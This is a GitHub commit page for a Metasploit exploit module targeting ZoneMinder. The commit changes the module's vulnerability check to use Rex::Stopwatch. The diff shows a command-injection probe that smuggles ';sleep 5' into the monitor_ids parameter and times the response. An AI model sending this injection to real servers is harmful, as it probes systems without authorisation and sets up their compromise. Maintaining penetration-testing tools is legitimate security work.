Skip to content

Commit

Permalink
replaced custom timer with rex::stopwatch
Browse files Browse the repository at this point in the history
  • Loading branch information
whotwagner committed Oct 12, 2023
1 parent e0dd511 commit 281387f
Showing 1 changed file with 11 additions and 9 deletions.
20 changes: 11 additions & 9 deletions modules/exploits/unix/webapp/zoneminder_snapshots.rb
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@ def initialize(info = {})
[
'nix Command',
{
'Platform' => ['unix','linux'],
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
Expand Down Expand Up @@ -89,14 +89,16 @@ def check
sleep_time = 5
data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
start = Time.now
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)
if sleep_time < Time.now - start
res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)
end
print_status("Elapsed time: #{elapsed_time} seconds.")
if res && sleep_time < elapsed_time
return Exploit::CheckCode::Appears
end

Expand Down

0 comments on commit 281387f

Please sign in to comment.